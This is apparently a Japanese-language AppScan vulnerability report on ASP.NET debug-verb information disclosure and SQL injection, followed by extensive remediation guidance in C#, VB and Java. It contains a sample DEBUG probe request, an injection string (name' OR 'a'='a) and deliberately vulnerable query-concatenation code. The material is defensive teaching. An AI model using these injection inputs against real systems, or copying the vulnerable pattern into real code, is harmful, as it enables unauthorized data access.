情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

Microsoft ASP.NET
は、情報の開示に対して脆弱です。攻撃者が悪意のあるリクエストを送信して、デバッグのサポートが有効になっているかどうかを知ることができます。 攻撃者は、DEBUG 動詞を使用して悪意のあるリクエストを送信できる場合があります。

サンプル活用:
DEBUG /AppScan.aspx HTTP/1.0
Command: stop-debug
Content-Length: 0

## 推奨される修正 - 全般

ASP.NET でのデバッグを無効にするには、web.config ファイルを編集し、次の記述を追加します:<compilation
    debug="false"
/>

## 参考資料と関連リンク

ベンダー・サイト
ASP.NET Web アプリケーションのデバッグ
マイクロソフト サポート オンライン HOW TO: Disable Debugging for ASP.NET Applications

# データベース・エラー・パターンを検出

## アプリケーション

## WASC 脅威の分類

SQL インジェクション
http://projects.webappsec.org/SQL-Injection

## セキュリティー・リスク

データベース・エントリーおよびテーブルを表示、改変または削除することができます

## 考えられる原因

ユーザーの入力において、有害文字の除去が適切に行われませんでした

## 技術的な説明

AppScan は、テスト応答で、SQL インジェクション以外の攻撃によってトリガーされた可能性のあるデータベース・エラーを検出しました。
正確にはわかっていませんが、このエラーは、アプリケーションに SQL インジェクションに対する脆弱性が存在する可能性を示しています。
SQL インジェクションに対する脆弱性が存在する場合は、次の SQL インジェクション・アドバイザリーを注意深く確認してください。

本ソフトウェアは、外部から編集可能な入力を使用して SQL コマンドの一部または全部を構成しますが、対象の SQL
コマンドをデータベースに送信するときに変更する可能性がある特殊要素を正しく無効にすることはできません。

ユーザーによる制御が可能な入力で SQL 構文の削除や引用が不適切に行われた場合、生成された SQL
クエリーにより、これらの入力が通常のユーザー・データではなく SQL
として解釈されることがあります。これを利用すれば、セキュリティー・チェックをバイパスするようにクエリー・ロジックを変更したり、バックエンド・データベースを変更する (システム・コマンドの実行が組み込まれている可能性のある) 追加ステートメントを挿入したりできます。

例えば、ログイン・フォームを持つ HTML ページがあり、最終的にはユーザー入力を使用してデータベースに対して次の SQL
クエリーが実行されるとします。
```
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
```
2 つの変数 ($user および $pass) には、ログイン・フォームでユーザーが入力するユーザー資格情報が含まれます。
そのため、ユーザーがユーザー名として「jsmith」を入力し、パスワードとして「Demo1234」を入力した場合、SQL クエリーは次のようになります。
```
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
```
ただし、ユーザーがユーザー名として「'」(単一のアポストロフィ) を入力し、パスワードとして「'」(単一のアポストロフィ) を入力した場合、SQL
クエリーは次のようになります。
```
SELECT * FROM accounts WHERE username=''' AND password='''
```
当然のことながら、これは誤った形式の SQL クエリーであり、HTTP 応答でエラー・メッセージが返される可能性があります。
このようなエラーでは、攻撃者には、SQL
インジェクションが成功したことがわかってしまいます。その結果、攻撃者はさらに攻撃ベクトルを試行することになります。

サンプル活用:
次の C# コードは、指定した名前に一致する項目を検索する SQL
クエリーを動的に作成し実行します。このクエリーでは、表示する項目を、所有者と現在認証されているユーザーの名前とが一致する項目に制限します。
```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '"
                                        + userName + "' AND itemname = '"
                                        + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```
このコードでは次のクエリーが実行されることになります。
```
SELECT * FROM items WHERE owner =  AND itemname = ;
```
ただし、このクエリーは、定数の基本クエリー文字列とユーザーの入力文字列とを連結することで動的に作成されるため、正しく動作するのは itemName に単一引用符文字が含まれていない場合のみです。itemName に攻撃者が悪意を持って文字列 "name' OR 'a'='a"
を入力すると、クエリーは次のようになります。
```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```
OR 'a'='a' 条件が追加されたことにより WHERE 節が常に True
に評価されるため、このクエリーは、このクエリーよりはるかに単純な次のクエリーと論理的に同等になります。
```
SELECT * FROM items;
```

## 推奨される修正 - 全般

いくつかの防止方法があります。

[1] 戦略: ライブラリーまたはフレームワーク
–
ライブラリーやフレームワークを十分に検査し、このような弱点を発生させないようにするか、または発生しても簡単に回避できるような構成にしてください。

[2] 戦略: パラメーター化
–
可能であれば、データとコードを自動的に分離する構造化メカニズムを使用してください。これらのメカニズムは、該当する引用符、エンコード、および検証を自動的に提供するため、出力が生成される時点ごとにこの機能を開発者に設定させる必要がなくなります。

[3] 戦略: 環境の強化

- 必要なタスクの実行に要求される最小限の特権を使用してコードを実行してください。

[4] 戦略: 出力エンコード
-
リスクを承知の上で、動的に生成されるクエリー文字列/コマンドを使用しなければならない場合は、引数を正しく引用符で囲み、その引数に含まれるすべての特殊文字をエスケープしてください。

[5] 戦略: 入力検証
- すべての入力に悪意があると見なしてください。「既知の有効なデータを受け入れる」入力検証方法
(仕様に正確に適合する受け入れ可能な入力のホワイトリスト)
を使用してください。仕様に正確に適合しない入力はすべて拒否してください。あるいは、そのような入力を、仕様に正確に適合する入力に変換してください。悪質な入力や誤った形式の入力が登録されたブラックリストを過信しないようにしてください。ただし潜在的な攻撃の検出や、全面的に拒否すべき誤った形式の入力の判別には、ブラックリストは役立つことがあります。

## 推奨される修正 - ASP.NET

SQL インジェクション攻撃から Web アプリケーションを保護するには、2 つの方法があります。

[1] 動的に作成される SQL クエリー文字列ではなく、ストアード・プロシージャーを使用します。パラメーターを SQL
サーバーのストアード・プロシージャーに渡す方法により、シングル・クォートおよびハイフンが使用できなくなります。

ASP.NET でストアード・プロシージャーを使用する簡単な例を以下に示します:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value


// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] 検証コントロールを使用すると、Web Forms
ページに入力検証機能を追加できます。検証コントロールにより、範囲内で有効な日付または値かどうかをテストするなど、一般的なあらゆるタイプの標準検証に対応する使いやすいメカニズムが得られるとともに、カスタム検証も利用できるようになります。さらに、検証コントロールにより、ユーザーに表示するエラー情報を完全にカスタマイズできるようになります。検証コントロールは、HTML および Web
サーバー・コントロールを含む、Web フォーム・ページのクラス・ファイルで処理される任意のコントロールと一緒に使用できます。

有効な値だけがユーザーの入力内容に確実に含まれているようにするため、次の検証コントロールのいずれかを使用できます。

a.「RangeValidator」: ユーザーのエントリー (値)
が指定された下限と上限の間であることをチェックします。数字、英字、および日付のペアで示した範囲をチェックすることができます。

b.「RegularExpressionValidator」:
正規表現により定義されたパターンとエントリーが一致していることをチェックします。この検証タイプにより、社会保障番号、電子メール・アドレス、電話番号、郵便番号等といった予想可能な文字のシーケンスをチェックできます。

重要な注意事項:
検証コントロールは、ユーザーの入力をブロックしたりページ処理のフローを変更することはありません。エラー・ステータスを設定し、エラー・メッセージを送出するだけです。アプリケーション固有のアクションをさらに実行する前に、プログラマーは必ずコード内のコントロールの状態をテストしてください。

ユーザーの入力を検証する方法には 2 つの方法があります:

1. 一般的なエラー状態のテスト:

コードで、ページの IsValid プロパティーをチェックしてください。このプロパティーは、ページの全検証コントロールの IsValid
プロパティーの値の論理和を結果として返します。検証コントロールの 1 つが無効に設定されている場合、ページのプロパティーは false
を返します。

2. 各コントロールのエラー状態のテスト:

ページの Validators コレクション (すべての検証コントロールへの参照を含みます)
に含まれるものをチェックしてください。そうすることで、各検証コントロールの IsValid プロパティーを調べることが可能となります。

## 推奨される修正 - J2EE

**準備されたステートメント:

SQL インジェクション (例: SQL パラメーターの悪意のある改ざん) からアプリケーションを保護する方法として、次の 3
つの方法が考えられます。SQL ステートメントを動的に構築する代わりに、以下を使用します。

[1] あらかじめコンパイルされ、PreparedStatement オブジェクトのプールに格納されている PreparedStatement。 PreparedStatement
は、サポートされている JDBC SQL データ型式と互換性のある入力パラメーターを登録して、セッターを定義します。 例えば、setString

は、タイプ VARCHAR または LONGVARCHAR 型の入力パラメーターに使用されます (詳細については Java API を参照してください)。
入力パラメーターを設定するこの方法により、攻撃者がクォートなどの危険な文字を挿入して SQL ステートメントを改ざんしないようにします。

J2EE で PreparedStatement を使用する方法の例は次のとおりです。

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
    try {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
        myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
    } catch (ClassNotFoundException e) {
        ...
    }
}
...
try {
    PreparedStatement myStatement = myConnection.prepareStatement("select * from users where username = ?");
    myStatement.setString(1, userNameField);
    ResultSet rs = myStatement.executeQuery();
    ...
    rs.close();
} catch (SQLException sqlException) {
    ...
} finally {
    myStatement.close();
    myConnection.close();
}
```

[2] PreparedStatement を拡張して、データベース SQL ストアード・プロシージャーを実行する CallableStatement。
このクラスは、PreparedStatement から入力セッターを継承します (上の [1] を参照してください)。

次の例は、このデータベース・ストアード・プロシージャーがあらかじめ作成されていることを想定しています。

```
CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;
```

J2EE で CallableStatement を使用して上記のストアード・プロシージャーを実行する方法の例は次のとおりです。

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
    try {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
        myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
    } catch (ClassNotFoundException e) {
        ...
    }
}
...
try {
    PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
    myStatement.setString(1, userNameField);
    myStatement.registerOutParameter(1, Types.VARCHAR);
    ResultSet rs = myStatement.executeQuery();
    ...
    rs.close();
} catch (SQLException sqlException) {
    ...
} finally {
    myStatement.close();
    myConnection.close();
}
```

[3] 永続的なストレージ・メカニズムで EJB ビジネス・オブジェクトに対応する Entity Bean。 Entity Bean
には、ビーン管理とコンテナー管理の、2 つのタイプがあります。 Bean
管理パーシスタンスを使用する場合、開発者はデータベースにアクセスするための SQL コードを記述する必要があります (上記のセクション [1] と [2] を参照してください)。コンテナー管理パーシスタンスを使用する場合、EJB コンテナーが自動的に SQL
コードを生成します。このため生成された SQL コードを改ざんしようとする悪意ある行為は、コンテナーで防ぐ必要があります。

J2EE で Entity Bean を使用する方法の例は次のとおりです。

```
// J2EE EJB Example
try {
    // lookup the User home interface
    UserHome userHome = (UserHome)context.lookup(User.class);
    // find the User remote interface
    User = userHome.findByPrimaryKey(new UserKey(userNameField));
    …
} catch (Exception e) {
    …
}
```

推奨される Java ツール: なし

参照リンク

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ず Servlet を使用するサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、上記ルーチンを Validator ユーティリティー・クラスの静的メソッドとして実装することです。次のセクションでは、validator クラスの例について説明します。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。

次に、要求されたフィールドを検証する例を示します。

```
// Java example to validate required fields
public Class Validator {
    …
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    …
}
…
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。
フィールドの値を希望するプリミティブなデータ型に安全に変換できるかどうかをチェックするには、Java プリミティブ・ラッパー・クラスを使用します。

次に、数値フィールド (int 型) を検証する例を示します。

```
// Java example to validate that a field is an int number
public Class Validator {
    …
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
```

```
    …
}
…
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

効果的な方法は、HTTP
要求パラメーターをすべて対応するデータ型に変換することです。例えば、次の例に示すように、開発者は、要求パラメーターの「integerValue」を要求属性に格納して使用します。

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
…
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
…
```

アプリケーションが処理する必要がある Java の主なデータ型は次のとおりです。
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

次に、userName フィールドの長さが 8 文字から 20 文字までの間であることを検証する例を示します。

```
// Example to validate the field length
public Class Validator {
    …
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    …
}
…
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        …
    }
}
```

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

入力データ numberOfChoices の値が 10 から 20 の間であることを検証する例を示します。

```
// Example to validate the field range
public Class Validator {
    …
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    …
}
…
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            …
```

```
        }
    }
}
```

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT
HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

許可されたオプションのリストに対してユーザーの選択を検証する例を示します。

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName
フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]*$

Java 1.3 またはそれ以前のバージョンには、正規表現パッケージが含まれていません。 Java 1.3 ではサポートされないため、Apache Regular Expression Package (下記のリソースを参照) を使用することを推奨します。 正規表現で検証を実行する例を示します。

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            RE r = new RE(expression);
            match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 には、新しく正規表現パッケージ (java.util.regex) が導入されています。 新しい Java 1.4 の正規表現パッケージを使用した Validator.matchPattern の変更バージョンは以下のようになります。

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
```

```
        }
        return match;
    }
    …
}
```

[7] Cookie の値: Cookie の値を検証するために javax.servlet.http.Cookie オブジェクトを使用してください。アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

要求された Cookie の値を検証する例は次のとおりです。

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                …
            }
        }
    }
}
```

[8] HTTP 応答 - [8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、危険な文字を対応する文字エンティティーに変換して、HTML をサニタイズします。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

危険な文字を対応する文字エンティティーに変換して、指定された文字列をフィルタリングする例は次のとおりです。

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    …
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '¥'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
        }
        return result;
    }
    …
}
…
```

```
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 にはフィルターが導入されており、HTTP 要求または応答をインターセプトして変換する機能をサポートしています。

Validator.filter を使用して応答をサニタイズする Servlet フィルターの使用例は次のとおりです。

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
    ...
    public void doFilter(ServletRequest request,
                         ServletResponse response,
                         FilterChain chain)
            throws IOException, ServletException {

        PrintWriter out = response.getWriter();
        ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
        chain.doFilter(request, wrapper);

        CharArrayWriter caw = new CharArrayWriter();
        caw.write(Validator.filter(wrapper.toString()));

        response.setContentType("text/html");
        response.setContentLength(caw.toString().length());
        out.write(caw.toString());
        out.close();
    }
    ...
    public class CharResponseWrapper extends HttpServletResponseWrapper {
        private CharArrayWriter output;

        public String toString() {
            return output.toString();
        }

        public CharResponseWrapper(HttpServletResponse response){
            super(response);
            output = new CharArrayWriter();
        }

        public PrintWriter getWriter(){
            return new PrintWriter(output);
        }
    }
}

}
```

[8-2] Cookie のセキュリティー保護: Cookie に機密データを保存する場合、HTTPS や SSL などの安全なプロトコルを利用して Cookie が送信されるようにブラウザーに指示するために、Cookie.setSecure(boolean flag) を使用して HTTP 応答の Cookie のセキュリティー・フラグが設定されるようにしてください。

「user」の Cookie をセキュリティー保護する例は次のとおりです。

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合): Jakarta Commons Validator は、上記のデータ検証仕様をすべて実装する強力なフレームワークです。これらの規則は、フォーム・フィールドの入力認証規則を定義する XML ファイルで構成されています。 Struts の [bean:write] タグを使用することで、記述された全データに対する [8] HTTP 応答の危険な文字の出力フィルタリングを Struts がデフォルトでサポートしています。
このフィルタリングは、「filter=false」フラグを設定することにより無効にできます。

Struts は次の基本的な入力検証を定義しますが、カスタム検証が定義される場合もあります。
required: フィールドに空白以外の文字が含まれている場合に成功します。
mask: 値がマスク属性によって与えられた正規表現に一致する場合に成功します。
range: 値が min 属性および max 属性により与えられた値 ((value >= min) および (value <= max)) の範囲内である場合に成功します。
maxLength: フィールドの長さが max 属性以下である場合に成功します。
minLength: フィールドの長さが min 属性以上である場合に成功します。
byte、short、integer、long、float、double: 値を対応するプリミティブ型に変換できる場合に成功します。
date: 値が有効な日付を示す場合に成功します。日付のパターンを指定することも可能です。
creditCard: 値が有効なクレジット・カードの番号である場合に成功します。
e-mail: 値が有効な電子メール・アドレスである場合に成功します。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。
```
<form-validation>
```

```
    <global>
      ...
      <validator name="required"
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
      </validator>
      <validator name="mask"
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
      </validator>
      ...
    </global>
    <formset>
      <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required,mask">
          <!-- message resource key to display if validation fails -->
          <msg name="mask" key="login.userName.maskmsg"/>
          <arg0 key="login.userName.displayname"/>
          <var>
            <var-name>mask</var-name>
            <var-value>^[a-zA-Z0-9]*$</var-value>
          </var>
        </field>
      ...
      </form>
      ...
    </formset>
  </form-validation>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI
コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理および入力の検証を行う、一連の Java API (JSR 127) です。

JavaServer Faces API は次の基本的な検証を実装しますが、カスタム検証も定義される場合があります。
validate_doublerange: コンポーネントの DoubleRangeValidator を登録します。
validate_length: コンポーネントの LengthValidator を登録します。
validate_longrange: コンポーネントの LongRangeValidator を登録します。
validate_required: コンポーネントの RequiredValidator を登録します。
validate_stringrange: コンポーネントの StringRangeValidator を登録します。
validator: コンポーネントのカスタムの Validator を登録します。

JavaServer Faces API は、次の UIInput および UIOutput Renderer (Tag) を定義します。
input_date: java.text.Date インスタンスでフォーマットされた java.util.Date を受け取ります。
output_date: java.text.Date インスタンスでフォーマットされた java.util.Date を表示します。
input_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を受け取ります。
output_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を表示します。
input_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
output_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
input_text: 1 行の文字列を受け取ります。
output_text: 1 行の文字列を表示します。
input_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を受け取ります。
output_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を表示します。
input_hidden: ページの作成者がページで hidden 変数を使用することを許可します。
input_secret: 空白なしの 1 行のテキストを受け取り、入力の度にアスタリスクのセットとして表示します。
input_textarea: 複数行のテキストを受け取ります。
output_errors: ページ全体のエラー・メッセージまたは指定のクライアント識別子に関連するエラー・メッセージを表示します。
output_label: ネストされたコンポーネントを指定インプット・フィールドのラベルとして表示します。
output_message: 配置されたメッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
 <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
 <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
 ...
 <jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
 <f:use_faces>
  <h:form formName="loginForm" >
   <h:input_text id="userName" size="20" modelReference="UserBean.userName">
     <f:validate_required/>
     <f:validate_length minimum="8" maximum="20"/>
   </h:input_text>
   <!-- display errors if present -->
   <h:output_errors id="loginErrors" clientId="userName"/>
   <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
 </f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** エラーの処理:

多くの J2EE Web アプリケーション・アーキテクチャーは Model View Controller (MVC) パターンに準拠しています。このパターンでは、Servlet は Controller として動作します。Servlet はアプリケーションの処理を EJB Session Bean (Model) のような JavaBean に委託します。次に、Servlet は要求を JSP (View) に転送して、処理の結果をレンダリングします。必要な処理が実際に行われたことを確認するために、Servlet はすべての入力、出力、リターン・コード、エラー・コード、および既知の例外をチェックする必要があります。

データの検証は悪意のあるデータの改ざんからアプリケーションを保護することはできますが、アプリケーションが内部的なエラー・メッセージ (例外スタック・トレースなど)
を不注意で公開するような状況を防ぐには、適切なエラー処理を実行するための方策が必要です。適切なエラー処理の方策を立てる際には、次の点に注意します。

[1] エラーの定義
[2] エラーの報告
[3] エラーのレンダリング
[4] エラーのマッピング

[1] エラーの定義: アプリケーション・レイヤー (Servlet など)
でのハード・コーディングされたエラー・メッセージは避けてください。アプリケーションには既知のアプリケーション障害にマップするエラー・キーを使用するようにしてください。効果的な方法は、HTML フォーム・フィールドや他の Bean
プロパティーの検証規則にマップするエラー・キーを定義することです。例えば「user_name」フィールドが必須フィールドであり、このフィールドには英数字を入力する必要があり、さらにデータベース内で他に同じ名前が存在してはならない場合は、次のようなエラー・キーを定義します。

(a) ERROR_USERNAME_REQUIRED:
このエラー・キーを使用すると、「user_name」フィールドが必須フィールドであることをユーザーに通知するメッセージが表示されます。
(b) ERROR_USERNAME_ALPHANUMERIC:
このエラー・キーを使用すると、「user_name」フィールドの値が英数字でなければならないことをユーザーに通知するメッセージが表示されます。
(c) ERROR_USERNAME_DUPLICATE:
このエラー・キーを使用すると、「user_name」の値がデータベース内で重複していることをユーザーに通知するメッセージが表示されます。
(d) ERROR_USERNAME_INVALID:
このエラー・キーを使用すると、「user_name」の値が無効であることをユーザーに通知する一般的なメッセージが表示されます。

効果的な方法は、アプリケーション・エラーを格納および報告するために使用する、次のようなフレームワーク Java クラスを定義することです。
- ErrorKeys: すべてのエラー・キーを定義します。

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: 個々のエラーをカプセル化します。

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
```

```
        }

        private String key = null;
        private Object[] values = null;
    }
```

- Errors: エラーの集合をカプセル化します。

```
    // Example: Errors encapsulates the Error objects being reported to the presentation layer.
    // Errors are stored in a HashMap where the key is the bean property name and value is an
    // ArrayList of Error objects.
    public Class Errors implements Serializable {

        // Adds an Error object to the Collection of errors for the specified bean property.
        public void addError(String property, Error error) {
            ArrayList propertyErrors = (ArrayList)errors.get(property);
            if (propertyErrors == null) {
                propertyErrors = new ArrayList();
